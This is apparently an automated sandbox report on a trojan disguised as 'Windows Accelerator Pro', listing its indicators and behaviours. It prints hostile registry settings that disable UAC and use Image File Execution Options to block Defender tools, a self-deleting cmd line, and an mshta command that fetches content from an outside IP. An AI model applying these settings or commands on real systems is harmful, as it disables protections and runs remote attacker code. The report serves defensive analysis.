Malware Analysis Report

2025-08-11 01:06

Sample ID 240302-t68mhafa41
Target Windows Accelerator Pro.zip
SHA256 6e6f0f4912aeadc81622c01e62cac6bbf02cd34052cdca2da582c92005275105
Tags
evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6e6f0f4912aeadc81622c01e62cac6bbf02cd34052cdca2da582c92005275105

Threat Level: Known bad

The file Windows Accelerator Pro.zip was found to be: Known bad.

Malicious Activity Summary

evasion persistence trojan

Modifies WinLogon for persistence

UAC bypass

Sets file execution options in registry

Blocklisted process makes network request

Loads dropped DLL

Deletes itself

Executes dropped EXE

Looks up external IP address via web service

Checks whether UAC is enabled

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

System policy modification

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-02 16:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-02 16:41

Reported

2024-03-02 16:41

Platform

win7-20240220-en

Max time kernel

8s

Max time network

6s

Command Line

"C:\Users\Admin\AppData\Local\Temp\[email protected]"

Signatures

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-rmwn.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Sets file execution options in registry

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\[email protected] N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
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Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1636 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
PID 1636 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
PID 1636 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
PID 1636 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
PID 1636 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Windows\SysWOW64\cmd.exe
PID 1636 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Windows\SysWOW64\cmd.exe
PID 1636 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Windows\SysWOW64\cmd.exe
PID 1636 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\[email protected] C:\Windows\SysWOW64\cmd.exe
PID 2544 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe C:\Windows\SysWOW64\mshta.exe
PID 2544 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe C:\Windows\SysWOW64\mshta.exe
PID 2544 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe C:\Windows\SysWOW64\mshta.exe
PID 2544 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Roaming\guard-rmwn.exe C:\Windows\SysWOW64\mshta.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0" C:\Users\Admin\AppData\Roaming\guard-rmwn.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\[email protected]

"C:\Users\Admin\AppData\Local\Temp\[email protected]"

C:\Users\Admin\AppData\Roaming\guard-rmwn.exe

C:\Users\Admin\AppData\Roaming\guard-rmwn.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\ENDERM~1.EXE" >> NUL

C:\Windows\SysWOW64\mshta.exe

mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nqrhshtdur"

Network

Country Destination Domain Proto
US 8.8.8.8:53 checkip.dyndns.org udp
JP 132.226.8.169:80 checkip.dyndns.org tcp
RO 93.115.82.248:80 tcp

Files

memory/1636-0-0x0000000000400000-0x000000000058A000-memory.dmp

memory/1636-1-0x0000000000340000-0x000000000039F000-memory.dmp

memory/1636-23-0x0000000000720000-0x0000000000721000-memory.dmp

memory/1636-22-0x00000000009B0000-0x00000000009B1000-memory.dmp

memory/1636-21-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

memory/1636-20-0x00000000009C0000-0x00000000009C1000-memory.dmp

memory/1636-19-0x00000000009A0000-0x00000000009A1000-memory.dmp

memory/1636-18-0x0000000000770000-0x0000000000771000-memory.dmp

memory/1636-17-0x00000000009D0000-0x00000000009D1000-memory.dmp

memory/1636-16-0x0000000000730000-0x0000000000731000-memory.dmp

memory/1636-15-0x00000000003C0000-0x00000000003C1000-memory.dmp

memory/1636-14-0x00000000003E0000-0x00000000003E1000-memory.dmp

memory/1636-13-0x00000000003A0000-0x00000000003A1000-memory.dmp

memory/1636-12-0x0000000000740000-0x0000000000741000-memory.dmp

memory/1636-11-0x00000000003F0000-0x00000000003F1000-memory.dmp

memory/1636-10-0x0000000003230000-0x0000000003233000-memory.dmp

memory/1636-9-0x00000000002A0000-0x00000000002A1000-memory.dmp

memory/1636-8-0x0000000003240000-0x0000000003241000-memory.dmp

memory/1636-7-0x00000000002E0000-0x00000000002E1000-memory.dmp

memory/1636-6-0x00000000002B0000-0x00000000002B1000-memory.dmp

memory/1636-5-0x0000000000310000-0x0000000000311000-memory.dmp

memory/1636-4-0x0000000000290000-0x0000000000291000-memory.dmp

memory/1636-3-0x0000000000270000-0x0000000000271000-memory.dmp

memory/1636-2-0x0000000000300000-0x0000000000301000-memory.dmp

memory/1636-24-0x0000000003280000-0x0000000003281000-memory.dmp

memory/1636-25-0x0000000000320000-0x0000000000321000-memory.dmp

memory/1636-63-0x0000000003510000-0x0000000003511000-memory.dmp

memory/1636-62-0x00000000034E0000-0x00000000034E1000-memory.dmp

memory/1636-61-0x00000000034F0000-0x00000000034F1000-memory.dmp

memory/1636-60-0x0000000003440000-0x0000000003441000-memory.dmp

memory/1636-59-0x0000000003450000-0x0000000003451000-memory.dmp

memory/1636-58-0x0000000003410000-0x0000000003411000-memory.dmp

memory/1636-57-0x0000000003420000-0x0000000003421000-memory.dmp

memory/1636-56-0x00000000033F0000-0x00000000033F1000-memory.dmp

memory/1636-55-0x0000000003400000-0x0000000003401000-memory.dmp

memory/1636-54-0x00000000033D0000-0x00000000033D1000-memory.dmp

memory/1636-53-0x00000000033E0000-0x00000000033E1000-memory.dmp

memory/1636-52-0x00000000033B0000-0x00000000033B1000-memory.dmp

memory/1636-51-0x00000000033C0000-0x00000000033C1000-memory.dmp

memory/1636-50-0x0000000003390000-0x0000000003391000-memory.dmp

memory/1636-49-0x00000000033A0000-0x00000000033A1000-memory.dmp

memory/1636-48-0x0000000003370000-0x0000000003371000-memory.dmp

memory/1636-47-0x0000000003380000-0x0000000003381000-memory.dmp

memory/1636-46-0x0000000003350000-0x0000000003351000-memory.dmp

memory/1636-45-0x0000000003360000-0x0000000003361000-memory.dmp

memory/1636-44-0x0000000003330000-0x0000000003331000-memory.dmp

memory/1636-43-0x0000000003340000-0x0000000003341000-memory.dmp

memory/1636-42-0x0000000003310000-0x0000000003311000-memory.dmp

memory/1636-41-0x0000000003320000-0x0000000003321000-memory.dmp

memory/1636-40-0x00000000032F0000-0x00000000032F1000-memory.dmp

memory/1636-39-0x0000000003300000-0x0000000003301000-memory.dmp

memory/1636-38-0x00000000032D0000-0x00000000032D1000-memory.dmp

memory/1636-37-0x00000000032E0000-0x00000000032E1000-memory.dmp

memory/1636-36-0x00000000032B0000-0x00000000032B1000-memory.dmp

memory/1636-35-0x00000000032C0000-0x00000000032C1000-memory.dmp

memory/1636-34-0x0000000003290000-0x0000000003291000-memory.dmp

memory/1636-33-0x00000000032A0000-0x00000000032A1000-memory.dmp

memory/1636-32-0x00000000025B0000-0x00000000025B1000-memory.dmp

memory/1636-31-0x0000000002140000-0x0000000002141000-memory.dmp

memory/1636-30-0x0000000002500000-0x0000000002501000-memory.dmp

memory/1636-29-0x0000000000760000-0x0000000000761000-memory.dmp

memory/1636-28-0x0000000003250000-0x0000000003251000-memory.dmp

memory/1636-27-0x0000000000260000-0x0000000000261000-memory.dmp

memory/1636-26-0x0000000000250000-0x0000000000251000-memory.dmp

\Users\Admin\AppData\Roaming\guard-rmwn.exe

MD5 981931159e45242cc1c3dcbdb47846d7
SHA1 875bd5c00a30df19216e7f08bc18d97490ed25a6
SHA256 69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e
SHA512 ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

memory/1636-80-0x0000000000400000-0x000000000058A000-memory.dmp